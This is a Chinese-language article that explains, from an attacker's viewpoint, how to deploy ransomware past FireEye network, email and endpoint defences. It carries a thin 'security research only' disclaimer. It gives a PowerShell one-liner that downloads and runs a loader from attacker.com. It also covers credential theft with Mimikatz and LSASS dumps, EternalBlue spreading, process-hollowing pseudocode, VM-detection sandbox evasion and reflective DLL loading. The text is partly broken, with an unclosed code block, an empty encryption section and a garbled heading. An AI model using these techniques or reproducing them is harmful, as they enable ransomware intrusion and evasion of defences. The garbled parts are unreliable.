Fireeye中如何部署勒索軟件

# FireEye中如何部署勒索軟件

## 引言

FireEye作為全球知名的網絡安全公司，其產品（如NX、EX、HX系列）專注于高級威脅檢測與響應。然而，從攻擊者視角研究如何在FireEye防護環境中部署勒索軟件，對防御者理解攻擊鏈和加固防御體系具有重要價值。本文將從技術角度模擬攻擊路徑，**僅供安全研究參考**。

---

## 一、FireEye防護體系概述

FireEye的多層防護機制包括：

1. **網絡層檢測（NX系列）**
   - 基于簽名的惡意流量識別
   - 沙箱動態分析（MVX引擎）
   - 網絡行為異常檢測

2. **終端防護（HX系列）**
   - 進程行為監控
   - 文件系統實時保護
   - 內存攻擊檢測

3. **郵件安全（EX系列）**
   - 惡意附件分析
   - URL鏈接檢測

---

## 二、攻擊前提條件

在FireEye環境中部署勒索軟件需要突破以下防線：

| 防護層        | 需規避的檢測點               |
|---------------|------------------------------|
| 網絡層        | 沙箱逃逸、C2通信隱蔽         |
| 終端層        | 無文件攻擊、合法進程注入     |
| 行為檢測      | 加密行為偽裝、IO速率控制     |

---

## 三、分階段攻擊路徑

### 階段1：初始入侵
#### 1.1 釣魚郵件繞過EX檢測
- 使用**PDF+宏文檔**（CVE-2021-40444）
- 云存儲分發惡意載荷（規避URL檢測）
- 延遲執行機制（避開沙箱分析窗口）

#### 1.2 漏洞利用
```python
# 模擬PowerShell無文件下載
$code = Invoke-WebRequest -Uri hxxps://attacker.com/loader.ps1
Invoke-Expression $code

階段2：橫向移動

2.1 憑證竊取

• 使用Mimikatz的SSP注入變種
• 通過LSASS內存轉儲規避HX的進程保護

2.2 網絡傳播

• 利用SMBv3漏洞（如EternalBlue）
• 偽裝成正常RDP流量（端口3389 TCP）

階段3：勒索軟件部署

3.1 載荷投放

• 白名單進程注入（如explorer.exe, svchost.exe）
• 使用Process Hollowing技術：

// 偽代碼示例
CreateProcess(suspended="notepad.exe");
ZwUnmapViewOfSection(target_process);
AllocMemory(evil_payload);
SetThreadContext();
ResumeThread();

3.2 加密策略

四、對抗檢測的關鍵技術

4.1 沙箱逃逸技術

• 環境感知檢測：

  
  if ((Get-WmiObject Win32_ComputerSystem).Model -like "*VMware*") { exit }
  

• 用戶交互模擬：
  • 等待鼠標移動事件
  • 檢測屏幕分辨率變化

4.2 內存規避

• 反射型DLL加載：

  
  // 使用MemoryModule庫實現內存加載
  HMEMORYMODULE hMod = MemoryLoadLibrary(encrypted_dll);
  

• 堆?；煜?/strong>：
  • 使用ROP鏈調用關鍵API